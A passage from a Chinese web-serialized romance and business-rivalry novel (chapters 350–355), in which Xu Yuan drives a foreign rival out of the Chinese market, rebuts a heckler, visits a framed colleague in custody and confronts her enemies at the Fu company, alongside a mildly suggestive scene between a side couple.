许愿轻笑了一声:“莱蒂斯,你是打算自己下去面对记者宣布你的企业要推出华国市场吗,你的脸还够丢吗。” 莱蒂斯动作一僵。 他的脸当然不够丢了! “许愿,你别得意,你能对付你可你能对付奥瑞亚家族吗。” “奥瑞亚家族比你更早研制出抗癌药物!” 许愿毫不在意漫不经心的哦了一声。 “那么,你就这么有自信奥瑞亚拿到的那份资料是真的吗。” 一句话莱蒂斯遍体生寒。 许愿面带笑意。 “你怎么就知道他们不会落得跟你一样的下场呢,毕竟我早就放话要对付奥瑞亚家族了不是吗。” 莱蒂斯咬牙,到底是说不下去也待不下去了。 他本打算侮辱嘲讽许愿扳回一城,结果到最后被侮辱的却是他自己,真晦气! 他恶狠狠的瞪了许愿一眼,这次却没在下楼。看样子是打算让自己的下属和其他高层面对那些风雨了。 韩城人都呆了。 他实在没控制住悄悄的到盛景炎身边小声蛐蛐:“你老婆这么狠的吗。” “胡说,明明很可爱。”盛景炎反驳。 疯了吧你,满嘴胡说八道啊! 韩城摸了摸鼻子。 恋爱脑真可怕,怎么眼还瞎了呢。 莱蒂斯重新回到包厢不打算去现场,让心腹和高层们代替自己。 高层们敢怒不敢言,毕竟莱蒂斯才是掌权人。 …… 今天是莱蒂斯在华国宣布退出华国的日子,直播也正式开始了。 电视屏幕里,海外企业高层齐齐站成一排,深深鞠躬,似是留恋着华国 很多不明就里的网友在这条新闻下评论,说华国投资环境日渐恶劣,逼迫国际资本纷纷出走。感叹国家经济下滑严重,离崩溃之日不远矣。 新闻画面是直播的,滑稽可笑的言论一条一条往外蹦,时不时的就有人嘲讽许愿做事太残忍不给人活路,会让国外资本不敢再来中国投资,将许愿描写称毒瘤一般的人物,用心险恶。 一道讥讽的低笑声在室内响起。 宋驰看着直播眼神晦涩,问道:“观鱼,这就是许愿能做的事,能如此简单做局诱导海外资本入局离开华国,就是当年我碰到她也要暂避锋芒。” “你没有喜欢错人,许愿这样的人,值得你深爱。” 宋驰只是有些为他担心罢了。 爱上许愿这样优秀的人,宋观鱼这辈子还能看得上旁的人吗。 不会了。 他的心里永远都只会装着一个许愿了。 宋驰看到网络上那些弹幕和评论,那些自诩自己是资本家的人还在胡乱说着许愿这次做错了事,得罪了海外资本,讲起莱蒂斯简直头头是道,将莱蒂斯的优秀履历都搬上来。 宋驰冷笑。 “这种人根本不知道莱蒂斯的企业离开华国代表的什么,许愿接手莱蒂斯的产业是华国企业的一大进步。” “莱蒂斯的履历再漂亮还不是被许愿反控了?” “一次洪门谈判,一次智能系统,往后的莱蒂斯想起华国就会想到自己沦为笑柄的这些年,许愿将会被他看做此生死敌。” 说话的时候,那位亚洲区负责人的倒霉脸已经切换成了许愿那张漂亮妖异的脸。 她的头发高高盘起,露出光洁饱满的额头,黑亮的眼睛莹润发亮,却又暗藏锐利。 宋观鱼看到她的瞬间眼睛也跟着亮起来,他怀里的抱枕都被他捏变形了,宋驰显然也看到了入境的许愿。 他早听说许愿长了一张会让人一见钟情的脸,与早年的苏青莲相得益彰,他那时便知道许愿有多漂亮,可骤然看到入境的许愿还是被震惊了。 就这样的人,莫说是他儿子见了会喜欢,就是他年轻了十几二十岁也会控制不住本心的去迷恋。 见到过这样优秀的人,以后还能喜欢谁呢? 宋驰深深的叹了口气,正要开口说点什么,却见镜头一转,不光只拍到许愿,还拍到了许愿身边坐在轮椅上的男人。 男人剑眉星目,却有一双深情潋滟的桃花眼,相貌俊美气质卓绝,赫然就是许愿那个一直被人议论的未婚夫“盛景炎。” 疯了吗? 许愿竟然真的把她那个断腿残疾的未婚夫带出来了! 第350章 质问 许愿这番姿态就是做了回应。 无论发生任何事,她都会选择盛景炎,哪怕盛景炎现在断了腿他仍是她的爱人。 直播软件上弹幕疯狂滚动。 许愿那样聪明的人会不清楚这么做的后果吗? 她当着众人的面和盛景炎如此恩爱,往后一旦出现感情危机许愿现在对盛景炎表达的爱意就会变成攻击她的利剑。 “许愿他疯了吗,她不知道这代表什么吗!” 宋驰觉得吃惊。 宋观鱼黯然神伤的看着这一幕,喉间溢出苦笑。 “她就是这样的人啊。” “她说她的爱人是盛景炎,只会是盛景炎。” 宋观鱼目光痴迷中带着明显的忧伤,他望着此刻现场直播的视频心脏都在承受不住的抽痛。 他知道许愿会去现场的,他也很想去,但是他怕自己看到许愿控制不住自己的心,更怕现场的媒体再次因为他中伤许愿,所以他退缩了,他宁愿自己缩起来躲在B市。 宋驰连连叹气。 他这个儿子到底是动心了。 现场倒是一片乱,是盛世彻底接手莱蒂斯华国产业的日子也是莱蒂斯被逼退出华国的日子,A市有头有脸的人都来了。 唐家的,顾家的,邢家,傅家,黎家……这么一圈人都在注视这一幕,要将莱蒂斯赶出华国。 傅京礼远远看着站在台上的许愿,她是那样耀眼夺目,好像本就该站在那个地方接受所有人的追捧。 高层们面色苍白,倒是司仪把金剪刀递给许愿,许愿笑着剪断红绸,头顶有彩带飘落,周围是热烈的掌声。 许愿一无所有的时候已经那么耀眼,如今身居高位,意气风发,她的光芒更是灼亮到令人不敢直视。 坐在父亲身旁的宋观鱼呆呆地看着电视机,魂不守舍。 宋观鱼低下头,表情十分难堪。 他最后悔的事,莫过于浪费了那么多年青春。为了所谓自由,选择堕落放纵。 最爱的人却这样出众,而他却连站在她身边的勇气都没有,只能眼睁睁地看着那人走远。 现在的许愿光辉灿烂,比太阳更耀眼。 而他算什么呢?他配喜欢这样的许愿吗? 宋观鱼狼狈地抹了把脸,用异乎寻常的严肃口吻说道:“爸,我想去公司上班。你之前不是说让我去各个部门轮值吗?我去!我从最基层做起!你让我学什么,我就学什么!我一定扛起我们家的公司。” 宋驰愣了好一会儿才无声的叹息。 他何尝不知道宋观鱼为什么这样说,他是觉得自己配不上许愿啊。 宋观鱼盯着电视屏幕里的许愿,目光火焰般炽热。 他知道许愿爱着盛景炎,可他仍然爱她,哪怕许愿这辈子都会守护盛景炎那也无妨,他可以守护许愿。 现场有人却站出来,不知道什么时候拿了个大喇叭怒目冲着许愿叫喊。 “许愿!你这是要将外企资本赶出华国吗!你知不知道这代表什么!你这样的举动以后会让外企不敢投资华国产业!你这是要害死华国!” 这一嗓子声音实在大,现场的人都能听得清清楚楚。 傅京礼脸色瞬变,倒是躲在暗处的许宁嗤笑连连。 她想,许愿可不就是个蠢货吗,如果不是蠢货怎么会想着逼莱蒂斯离开华国,莱蒂斯那么大的资本商人,手指头里漏出来的钱都能够建立国内各行各业了,做什么不好偏要将人赶出华国,没脑子! 活该被人找茬。 莱蒂斯企业的高层眼睛亮了亮,不乏充满恶意的盯着许愿,等着她说点什么。 盛景炎面无表情甚至脸上带着明显的讽意,黎云笙呢?他虽然不喜欢许愿,但是也清楚许愿不是什么好招惹的。 没人认为许愿解决不了这个小插曲。 “许愿你为什么不说话!” “你是不是在心虚!” “你是不是国外的间谍!所以才要故意搞垮我们国内的经济资本市场!” “你这样会害的国内的人都丢掉外企工作的!” “许愿你回答我啊!你说话!你不要装哑巴!” 暴怒的年轻男人气急败坏红着眼睛盯紧许愿。 司仪脸上都是尴尬的笑意,弹幕都已经炸锅了,全都是在刷那男人是谁的。 哪有人胆子大到在这种场合胡闹的!没看到现场还有那么多领导人吗!当中质问许愿这个是想吃牢饭吗! 弹幕疯狂飘过各式各样的留言。 有赞同这年轻男人的,有力挺许愿的,还有浑水摸鱼看热闹的路人,总归是乱糟糟的。 许愿长指轻点着盛景炎的轮椅扶手,姿态闲散自然,半点不像是被人逼得无可奈何的模样,反倒是唇角扬起一抹淡淡的笑。 她一手握着话筒,声音清润带着嘲意。 “你希望我说什么呢,说你是没有智商的蠢货吗。” 年轻男人通红着脸显然被许愿这句话气到,他胸口不停起伏的想要怒骂:“到底谁是蠢货!你今天能逼走莱蒂斯明天是不是能逼走更多人!难道你要让我们华国回到以前闭关锁国的时候吗!你忘了那时候给划过带来了多大的影响吗!” 许愿觉得这人有病,纯有病。 她就赶个莱蒂斯怎么就跟闭关锁国扯上关系了? 这帽子给她扣的着实有些大了。 许愿轻微皱眉看着年轻男人:“我看你的模样应该已经工作了,既然是成年人了就要对自己说出的话负责,可我却觉得你对商场的见地还不如才刚学会做理解看图说话的小学生。” “闭关锁国是指一个国家或地区采取限制外来交流和贸易的政策,封闭自己与外界的联系。 这种政策通常是出于保护国内经济、文化或政治稳定等考虑而实施。闭关锁国的目的是减少对外依赖,保护本国的资源和利益,同时也可能导致国内技术和思想的相对滞后。” “你该明白闭关锁国是什么意思,而我只是一个普通的商人,我没有这么大的权利让整个划过采取限制外来交流和贸易,且华国也不会做出这么愚蠢的事。” 第351章 loser “莱蒂斯的企业被赶出华国是因为莱蒂斯窃取了国内有关车企机密的信息,窃取信息还窃取的错误信息,试车会上车子爆炸造成伤亡所以股票一路暴跌,莱蒂斯从政治经济角度考虑他手上没有车企的机密资料,盛世掌控了一切资料,一旦盛世推出新品,莱蒂斯的企业一定会被抵制,旧款车也会逐渐落后,他不过是见自己没有办法继续在华国捞钱才会离开华国。” “你以为是我要赶他?你一定要这么说是有道理,但最重要的原因是莱蒂斯输不起,他所在公司的股东输不起。” “他离开华国市场是必然,与我无关。” “你说因为一个莱蒂斯会导致外企不敢来华国?那你以为盛华和盛世是如何跟那么多海外企业签订合同的?你以为他们为什么来国内寻求合作的?” “莱蒂斯能代表什么?” “他不过是我的手下败将他根本没办法代表海外市场和海外资本,他不过是一个失败者。” 许愿字字珠玑,嘲的是莱蒂斯,亦是这个年轻男人和那群认为许愿会搞垮国内经济的蠢货。 年轻男人脸都涨红了,支支吾吾说不出话,明显也知道自己丢人了,羞的丢了喇叭就跑。 莱蒂斯的下属和高层面色都十分难看,但是又不好摆脸色,只能木着一张脸一直到交接仪式解释。 许愿抬起头,朝某一处看了一眼,开口,口型确实“loser”。 躲在包厢看着这一幕的莱蒂斯铁青着脸,一刻也不想多留。 华国人都是恶魔!全都是恶魔! 别以为他不知道那群人为什么都到现场,他们都是为了看他的笑话! 他愤恨的带着下属和高层离开华国,片刻不想多待。 来时雄赳赳的,离开的时候却灰溜溜。 许宁在角落里面看着这一幕牙齿都险些咬碎了,许愿,果然啊,她这张嘴真是永远都不服输。 温栩栩却明显在为许愿高兴,肉眼可见的开心起来,围在许愿身边,甚至还想着要办什么庆功宴,好不容易才被黎云笙以她明天要回训练营为借口带回家,省的她继续胡闹。 温栩栩回的是她跟黎云笙一直住的公寓,倒是黎云笙还堆积了不少工作,回了书房批阅文件。 黎云笙不在,正在书房工作,温栩栩便得空去泡个澡。 在浴缸里舒舒服服的,边泡澡边看综艺节目,浴室的门突然被打开,外面的凉意一下子就窜了进来。 温栩栩转头,就看到黎云笙站在门口,上衣在外面就脱了,现在只穿着长裤,露出他结实精壮的上身。 双臂肌肉线条结实好看,却又不是那样过分的纠结,温栩栩最喜欢看他的那一块块的腹肌,像巧克力一样,摸上去都特别有弹性。 黎云笙上前一步,便随手关上了门,随意的站在她面前。 温栩栩下意识的就把自己往浴缸里缩了缩,热水蒸腾出的热气很热,让整个浴室都蒙上一层淡淡的雾气,蒙蒙的,此下就显得特别暧昧。 “你怎么进来了啊。”温栩栩开口,很无力,身子在水里轻颤,露出水面的肩膀都红了,她的肌肤真的很敏感,热水都能轻易泡红。 “晚上了。”黎云笙边说着,边慢条斯理的解着皮带,声音幽幽:“你一直在这里面泡也不出去,我就只能进来了。” 温栩栩吞了口口水,呼吸都急促了起来。 这男人一定是故意的,解个皮带动作都那么慢,太撩人了! 要说温栩栩不喜欢黎云笙吧,也不是不喜欢,她单纯欣赏黎云笙的美色,是的,谁还不喜欢点帅哥了,偏偏黎云笙长相绝佳身材绝佳,他这样子的时候她总会觉得黎云笙是在撩拨自己,心跳都止不住的加速。 就他这副模样,温栩栩只能说……是真的很骚啊! 她本来还想着明天回训练室练舞蹈的事,但现在看到他这样,整个人都有点兴奋。 唔,她从来都是这样外放的毫不遮掩。 随着黎云笙一边解着一边上前,温栩栩也往里面缩了缩,蜷着腿自觉地给他让出位置。 黎云笙看着她这副羞赧服帖却又跃跃欲试的样子,便心猿意马,有些不能自已,长腿直接迈进了浴缸,在温栩栩身后坐下,便把她密实的圈进了怀里。 骨骼分明的长指捏弄着她敏感的耳垂,薄烫的唇也落在她烫红的肩头上。 “明天晚点回去?” 温栩栩思索了下,趁她思考的时间,黎云笙已经含住她的耳垂,温栩栩整个人都仿佛要软化了。 “也……也不是不行……” 黎云笙笑起来,他其实早发现温栩栩是个小色女了。 她不爱他,却偏偏喜欢他的身体,真是……算了,这也算是对他的另一种喜欢了。 黎云笙内心重重的啧了一声,将人更紧的抱进怀中 …… …… 温栩栩迷迷糊糊的偎在黎云笙的怀里,之前从浴缸里被他抱出来,虽然他用浴巾给她擦干净了,先前被他裹在怀里要的时候,浑身热得不行,也没觉得冷。 这会儿静下来了肩头便有些凉,忍不住的就往他的怀里密实的贴。 黎云笙看她这不自觉地依恋动作,幽暗的黑眸都深了几许,她也就只有在这种时候如此软萌了,若是平日早就开始张牙舞爪了。 他垂眸忍不住去亲磨,贴着她的发际一直吻到耳根、耳垂,又吻到嘴角,最后从双唇吻到眉心。 他有些恋恋不舍得,又吻了下她的唇,才要起身。 温栩栩微微皱着眉,两人之间才刚刚多出了一点儿空隙,她就觉得冷,不禁抱紧了黎云笙,有些撒娇的嗔道:“你去哪儿啊?” 她娇娇软软的撒娇,声音都带着点甜软味儿。 “去打个电话,马上就回来。”黎云笙轻轻地捏了捏她,像是哄小孩子似的安抚她,轻啄了下她的唇。 温栩栩这时候最好哄,黎云笙也是这时候最温柔,这两人也只有在亲密的时候才真的像是一对夫妻一对爱人。 第352章 脏了就不要你了 温栩栩皱了皱眉,摸索到被子,把自己裹紧了就让黎云笙离开。 黎云笙失笑,起身时又忍不住捏了捏她的脸颊,才离开了卧室。 过了几分钟,黎云笙就回来了。 温栩栩累的迷迷糊糊的,感觉到自己被他长臂捞进怀里,又搂了个结实。 她心也踏实了下来,在他怀里蹭了蹭,找了个舒服的姿势,眼睛都没睁就彻底睡过去了。 第二天早晨,温栩栩闹钟还没响,但也已经是半睡半醒了。 她最近一直在训练营早早就会起床训练,所以养成了生物钟,只是昨晚被黎云笙好一顿折腾,身体酸软,迷迷糊糊的还不太乐意醒。 狗男人就记住她说今天会晚一点回训练营所以才这么欺负她。 也就是狗男人还有点分寸没有在她脖子上面印草莓不然她肯定要炸了。 现在她不乐意睁眼,就等着手机定的闹钟响。 人迷糊着可是还有意识,感觉到左手被抬了起来,然后中指就套上了冰冰凉凉的东西。 谁啊,吵自己睡觉,不理。 她蒙住头继续睡,然后突然顿了下。 中指被套了冰冰凉凉的东西……等会儿? 温栩栩一下子就醒了,睁开眼先看到的就是自己左手中指多了枚戒指,样式简单但设计的却大气,界面镶嵌着一枚蓝钻,价值不菲的样子。 温栩栩目光移到指尖,黎云笙雅致好看的手指正握着她的手,发现他的中指上也多了枚戒指,跟她一样的款式,只是没有钻。 “醒了?”他也是刚起,嗓音低哑,带着慵懒的磁性。 他侧躺着,右手撑着脸,正微笑的看着她。 虽然黎云笙微笑起来让她觉得有点吓人,总觉得这人没安着好心思。 “这是——”温栩栩眨眨眼,还没完全清醒,脑袋有点儿懵。 “我记得我们结婚好像还没有婚戒,找人定做了一对儿,你觉得怎么样?”黎云笙问她。 “怎么突然想起戴这个了?”温栩栩惊讶的问,看黎云笙也不是会做这种事情的人。 “结婚了难道不该有婚戒?”黎云笙眯了眯眼。 其实这事儿还是昨天见到盛景炎的时候盛景炎提了一句。 对,就趁着许愿和温栩栩聊天的时候盛景炎问了句,然后韩城就凑过来了,一种震惊的语气嘲他:“不是吧不是吧,谁家好人结婚都没有婚戒啊,普通人家都还有三金买婚戒呢,你买不起金的钻的你买个银的也行啊,黎云笙你不要这么抠门吧!” 抠门? 他?抠门? 黎云笙都觉得韩城在狗叫。 她对温栩栩什么时候抠门小气了?温栩栩找他哪回不是利用?睡完就要让她给许愿找资源拉投资,他当年投出去多少钱?他没给少给温栩栩东西,黑卡都让她随便用了! 当黎云笙提出自己给了温栩栩黑卡,温栩栩都没准备婚戒凭什么让他来准备的时候韩城一脸看渣男的表情看着他。 “那你怎么不说是你提的结婚呢,人家还不一定乐意嫁给你呢。”韩城嘟囔的话都被黎云笙听到了。 偏偏韩城说的确实是真相。 是他提出结婚并利用许愿逼着温栩栩嫁给他的。 所以黎云笙这才赶紧找人买了对婚戒回来,这东西必须要有。 温栩栩撇了下嘴开口:“可我是要待在娱乐圈的,你让我戴着这个戒指,是要让我的粉丝脱粉吗?” 她可为自己想着后路的。 她是真的没有把主意打到黎云笙身上,在她心里她跟黎云笙是注定要分开的,所以婚戒根本不重要。 所以她打从一开始就没打算公开他们的关系。 怎么说呢。 黎云笙在她心里就是那种见不得光拿不出手的男人,是的,就是这样。 “平日里跟许愿他们聚会的时候戴上,不然他们又要胡说了。” 黎云笙提了一句。 哦,不是让她在参加比赛的时候戴就行。 温栩栩算是松了口气她垂眼,细细软软的手指便穿过他的五指,握住他的手抬到了眼前,看着他长指上戴着的戒指,“那你这枚戒指要记得戴啊,如果有女人对你表示好感,记得把戒指亮出来。” 黎云笙挑挑眉,似笑非笑的看着她,“会吃醋?” 那倒不是,纯粹是因为黎云笙身边烂桃花挺多的,特别是他心里还有个乱七八糟的白月光,戴着这戒指就像……嗯,就像小狗带项圈,好歹让外面的花花草草知道这是有主的。 不过把黎云笙当家养狗这事儿温栩栩可不敢说出来,不然怕被黎云笙骂死。 她就装乖的看着他好看的手,柔软的指腹捏着他手指上的戒指,轻轻地磨,“就是觉得好看。” 这话不是撒谎,是真觉得黎云笙的手好看,又长又细骨节分明的。 “就是让有些人知道黎总有人了,以免某些人在‘不知情’的情况下缠上你。”温栩栩难得慢吞吞软绵绵的解释。 黎云笙失笑,看着她这吃醋的小模样,心情却好的不得了。 真难得啊,温栩栩还会吃醋。 温栩栩幽幽的看了他一眼,哼了一声然后抱住他:“反正你戴好你的戒指,我的人就是不准别的女人碰。” 她贴在黎云笙耳边:“脏掉了就不要你了。” 反正阿愿已经站的这么高了,早就不需要黎云笙了。 温栩栩心里清楚的很。 黎云笙一双黑眸颜色陡的变深,窜着幽幽的火,他吻在她颈边:“放心,不会脏。” …… 温栩栩重新回了训练营,莱蒂斯已经被赶出华国,但偏偏这时傅氏出了件大事。 当初铁三角之一的沈略被傅氏告上法庭,原因是挪用公款且暴露傅氏商业机密。 热搜果然爆了。 看到这则消息时许愿才从研究室出来,助理已经匆忙赶过来将资料全都整理好交到许愿手中。 得知外面发生的事许愿只觉浑身发冷。 她到现在终于明白容浔之前对她说的那些话是什么意思了。 她说容浔被自己的狗咬了,说的是陆飞博,可那时容浔提到的是沈略。 他分明……分明那时就要害他了! 第353章 去傅氏 “沈略肯定会背叛傅氏,这不是板上钉钉的吗?前有许愿离开傅氏选择盛世,那沈略肯定也会有其它想法,说什么傅氏牢靠的铁三角,到最后还不是只剩下跟傅京礼一起长大的容浔吗?” “真令人恶心,许愿那说不上背叛,她毕竟跟傅京礼离婚了,继续在傅氏也不好,但沈略呢?沈略凭什么?傅京礼算是他的贵人啊!他就这样盗窃机密贪了那么大笔钱!傅京礼给钱给股份最后养出来一匹饿狼!” “狼心狗肺!” “判刑!必须判刑!” 热搜上掀起风浪,全都在讨论沈略背叛傅氏的事,因沈略和许愿关系好许愿也遭受风波,傅氏那些股民及傅氏的拥护者暗骂许愿和沈略是一丘之貉。 甚至有人嘲讽沈略背叛傅氏全是听了许愿的话。 看到热搜的许愿脸上的冷意根本无法掩盖,盛景炎知道这件事比她稍晚些,不过发生这种事也算是意料之中。 “是容浔做的。” 许愿开口完全不做他想。 “他在逼我见他逼我低头。” 那次容浔见到她时就是这个打算,可当时陆飞博背叛他,让他那一盘棋变得乱糟糟所以没能拿捏到许愿。 现在眼见盛世要凭借智能系统站到高处容浔自然忍不住,这次沈略的事绝对是容浔故意爆出来的。 他在等着看许愿的回应。 他在暗示许愿,去傅氏。 真是好算计。 他算准了她跟沈略感情深厚,算准了她不会不管沈略,甚至于……沈略被他针对陷害也因为沈略打算辞职,而这一切正是她开的头。 许愿压抑着心中的怒火,隐忍片刻。 “我要去傅氏见他们一面。” 是见傅京礼还是见容浔,或许都会见一面。 盛景炎是聪明人,这种事他不能掺进去,傅京礼现在经受不住刺激,他也担心傅京礼看到他再想到她和许愿的事对沈略发难。 这种时候许愿自己去傅氏才是最好的。 “有事随时打给我。” 许愿抱住他的脖子,亲昵的在他颊边蹭了蹭:“那就劳烦盛先生帮我批阅文件了。” 最近需要批复的文件的确很多。 盛景炎自然应允,只是许愿离开后他眼神微暗。 傅京礼和容浔一次又一次挑战他的底线,他只是残了不是死了。 …… 许愿先去了警局。 沈略已经被严加看管了,她跟刑从景有些交情,问到了一些不牵扯内情可以被外人知道的情况。 沈略身上安下的罪名不小,窃取傅氏商业机密转移公司财产,都不是小罪名,且涉案金额高达近十亿,这绝对不是小数目。 刑从景安排让她能够跟沈略在警员陪同的情况下约见三十分钟。 沈略被带到审讯室。 他整个人憔悴许多,完全看不出几个月前还是那个一直笑吟吟的傅氏高层,他看着好像一夜之间苍老了十岁,胡子没来得及理眼下一片青黑,眼底都是阴霾。 见到许愿时他整个人怔住,才惊觉自己此刻是个什么丑陋模样。 他不想让许愿看到这样的自己。 “沈略,我想知道真相。” 许愿看到他这副模样有些难过,她那时就知道傅氏不能多待,傅氏已经不适合沈略,她只想着为沈略另寻出路,却忘记了容浔的心狠手辣。 她和沈略都知道傅氏那样多的机密,她能安全离开傅氏是因为傅京礼对她心存愧疚,可沈略呢?他们对沈略就没有那么多顾虑。 知道傅氏那么多秘密,他如何能安稳离开另寻出路。 在容浔为沈略安排的结局里他就应该碌碌无为一辈子安分的在工作岗位到老到死。 沈略嗓音干哑:“别管我了,就这样吧。” 他已经厌了倦了。 他不是猜不到是谁害了自己,他知道,且清楚许愿或许有办法帮助自己,但是……她要为他去见傅京礼和容浔,她想救他就一定要低头付出代价。 且……最初就是傅京礼给了他机会选中他。 他对傅氏的感情太复杂,他不想傅氏有更多的丑闻了。 所以就这样吧,别管他了。 他们共事三年,多次一起参与谈判,许愿如何能读不懂沈略此刻的心思,她觉得难过,也猜到沈略心都要跟着死了。 “让你离开傅氏这件事是我提出的,如果不是我你还会继续待在傅氏,所以是我害你被他们针对,我会帮你。” 许愿想安抚他。 沈略却扯动唇角,笑意都是僵硬的。 “不是这样的。” “就算没有你,傅氏也待不久的,你能看出来傅氏已经变了我又何尝看不出来,我早就被踢出高层圈了,其实不管我离不离开傅氏他们都不会继续用我,或许在未来某一天还会利用我让你在某些合同中让利。” 沈略顿了下开口:“这种事容浔做得出来。” 是的,这种事,容浔的确做得出来。 许愿沉默片刻。 “这件事傅京礼知道吗。” 沈略自嘲的扯了扯唇角。 很好,许愿知道自己问了个很愚蠢的问题。 这件事都已经闹上热搜了,傅京礼如何不知道吗? 他知道,但他纵容,容浔没有把沈略当人看,傅京礼同样没把他当人看,仿佛他只是个可以随时利用污蔑的物件。 “我说了会帮你就一定会帮你。” “沈略,你没有做错任何事,不必自甘堕落,这件事错的是他们,我希望进入盛华或者盛世的你会变成原来的样子。” 许愿抬头望着他,眼神里面都是坚定的光芒。 “我身边可用的人不多,我还等着你出来帮我一起打理公司呢。” 沈略垂着头那颗被冰固封的心好像在此刻一点点划开,感受到难以言喻的温暖。 他看着面前的许愿,喉间微微发堵,过了许久才僵硬的扯出微笑。 “好,我等着。” …… 再次来到傅氏,傅氏却已经不像记忆中的傅氏了,保安都换了一批,倒像是从安保公司雇佣的专员,这些人见到许愿显然怔了一下都认出了她全都没有阻拦,似乎早就得了命令知道她会来。 第354章 剑拔弩张 傅氏的员工看到她窃窃私语议论着她为什么会来傅氏。 以前员工们把许愿看做救星,若是许愿还在傅氏那智能系统还有治疗癌病的药物都会是傅氏的,而非是盛世,现在在他们眼中许愿赫然也是背叛者,夺走了本该属于傅氏的利益。 他们这样想全因为许愿触及了他们自己的切身利益,人就是这样自私的生物。 知道许愿来到傅氏的许宁远远就看到她,躲在角落密切关注着她,脸上的笑意越来越冷。 许愿注意到她,只微微抬眸,看到她衣服上挂着的牌子,后勤部部长。 她是个什么东西,也配成为后勤部部长? 许愿皱眉,脸色十分难看。 许宁踩着高跟鞋缓缓走近,这时候忙里偷闲的员工多了起来全都在外面走走停停看着像是休息却又像是故意看戏。 许愿和许宁的仇那可大了。 “有事?” 许愿自觉自己跟许宁没什么可聊的。 “我早说过你这样的人是会给身边的人带来不幸的。” “你过得多好啊,有着超越常人的智商和美貌,和那又如何?你和你母亲这种人生来就是占了别人气运的下贱东西,你们越是优秀在你们身边的人就越是悲惨,你以为你们凭什么这样优秀,那是因为你们吸走了身边人的气运啊!” 她神神叨叨的。 “你知道因果吗,知道满分论吗?” “一个正常人各方面能达到的最高分数是一百分,可你和苏青莲却远超一百分,你们以为那多出来的分数是哪里来的,是抢夺了身边人的分数!” “你们抢了的东西总有一天会还回去的!” 她魔怔的念着振振有词。 傅氏的员工本来是看好戏呢,但听到这话也有些狐疑的看向许愿,这话……有些渗人但是也有点贴近现实啊。 “你别不信!苏青莲因为过于优秀所以苏家毁了!后来又因为她毁掉那么多的家族,而你,因为有了你傅氏失去光环,盛景炎车祸断腿沈略也犯下重罪,你们母女就是祸害!” 看戏的员工更慌了,此刻看许愿的眼神像是在看什么怪物。 在他们看来许愿确实是这样啊,因为许愿所以盛景炎重伤,因为许愿傅氏落得这步境地……许宁这话说的没错。 可这话在许愿听来实在是无稽之谈。 “你这么聪明能算怎么不去天桥下面摆摊呢?” “傅氏会失去光环是因为傅氏根系已经烂了,沈略会出事是因为有可笑的蛀虫在算计他,盛景炎出车祸也是人为设下的陷阱,你倒好两嘴一张全是我的错了,真是好一出受害者有罪论。” “怎么?你要不要去医院重症监护室看一看,你告诉那些重病患者的家人她的家人患病全是因为她们,因为他们占了家人的气运,你去,你看他们会不会报警会不会毒打你一顿将你丢出去。” “噗嗤……” 不远处观察这边的同事有的嘲讽的笑出声。 这个同事就是自幼父母双亡,打小就被舅母暗骂是灾星,刚才许宁那段话还真让她以为自己是灾星了,好在许愿怼了那么一段话。 对啊,父母是被人醉酒驾车出车祸身亡的,他们离世前都将她死死抱在怀里哪怕是离世前都说她是他们最爱的宝贝,所以怎么可能会是占用了家人的气运。 这全是许宁的嫉妒心在作祟,完全的胡说八道了。 “傅氏为什么没落你自己心里没数吗。” 那名同事是人事部经理,人事部经理嘲讽:“全都是因为你啊。” “因为你勾引副总,因为你逼得他们离婚,因为你破坏他们的家庭还要破坏他们的感情抢走她的职位。” “是你步步紧逼的抢夺属于许总的东西所以将她逼到了盛世啊。” 人事部经理咄咄逼人。 “如果没有你许总不会跟傅总离婚,她还会在傅氏工作她会为傅氏参加谈判参加金融峰会为傅氏拿下那些合约。” “可你这样一个破坏别人家庭的女人到底是如何厚颜无耻的到她面前说这些不着调的话。” “明明是罪魁祸首还当自己无辜可怜呢。” 看戏的傅氏员工瞬间恍然。 他们就说觉得哪里怪怪的,敢情是许宁在那里胡说八道呢。 是啊,罪魁祸首可不就是许宁吗,许宁哪里来的脸说错的是许愿啊。 众人七嘴八舌的嘲讽许宁。 许宁阴沉着脸:“你们嘲讽我帮着许愿有什么用,许愿都已经时盛世的人了!她跟我们都已经不是同一阵营了!” 人事部经理嗤笑:“是啊,许总为什么跟我们不是同一阵营呢,是因为谁呢。” 许宁白着脸恶狠狠的瞪了她一眼。 她是留不住了,再听这些人念这些她要疯了。 “说人是非死后下地狱会接受审判被剪舌头的!”许宁神神叨叨的大喊着。 现场都因为她这话默了。 所有人的都没想到许宁疯到来了这么一句,属实精神都不正常了。 许愿眸光淡漠。 “那你知道像你这种知三当三设计陷害偷盗伤人的下去后要接受什么样的刑罚吗。” 许宁眼睛瞪得像同龄,啊的惨叫几声跑远了。 许愿看着她摇摇晃晃的身影,似乎真的快疯了。 怪谁呢? 许宁出身不好她没怪她,她甚至共情她同情她,可许宁将她视作死敌,她嘲讽她诬陷她暗害她拆散她的家庭抢走她的丈夫……桩桩件件都在欺她辱她,她反击不过是不想被人当做软柿子任意欺凌。 错的是许宁。 许愿微微敛眉,此时电梯门开了,员工们看过去,正看到容浔,一群人纷纷散开不敢看戏了。 容浔脸上仍然挂着那副虚伪温和的笑,若是不了解他的还以为他是个绅士温柔的男人。 可惜许愿太了解他,都能透过他的伪装看到内里的心机。 “早猜到你要来,没想到来的这样快。” 容浔走出电梯步履缓慢的走到许愿面前,居高临下的看着她,唇角擒着的笑意都带着点凉意。 离开傅氏后好像每一次见面都是如此,剑拔弩张。 第355章 这件事我管定了 “许宁那个蠢货走了?” 容浔啧了一声。 “实在抱歉了,我也不知道许宁发什么疯,一定要来找你的麻烦。” 他随口道歉,却听不出几分认真,纯纯的敷衍。 许愿微微垂下眼睫淡淡道:“傅氏所有部门都有摄像头,你猜得到我今天会来,也猜得到许宁是个疯子。” 言下之意,许宁会来发疯容浔是知道的,但他没阻止。 他像是故意的放出了傅氏养着的疯够对着她狂吠,等她解决了这条疯够他才像主人家姗姗来迟虚伪的说上几句无关痛痒的抱歉。 容浔脸上的笑意顿了下。 “都是心知肚明的事,说出来就不好了,彼此心里清楚就够了。” 许愿嗤笑:“我不愿意委屈自己,所以只能让你多听几句难听话了。” 容浔眯眼:“看来盛景炎对你真的很不错,你的脾气日渐上涨什么都不顾忌了。” “有没有可能我本来就是这样的臭脾气。”许愿淡淡回应。 她就是这样的脾气,不然也不会在国外次次用这张嘴逼得人节节败退,以往在傅京礼面前温顺也只是因为喜欢他所以愿意低头罢了。 容浔深深的看了她一眼将她一路带到顶层会议室。 “说说吧,许总这次来傅氏是为了沈略来的吗。” 容浔为她沏了杯茶,明知故问。 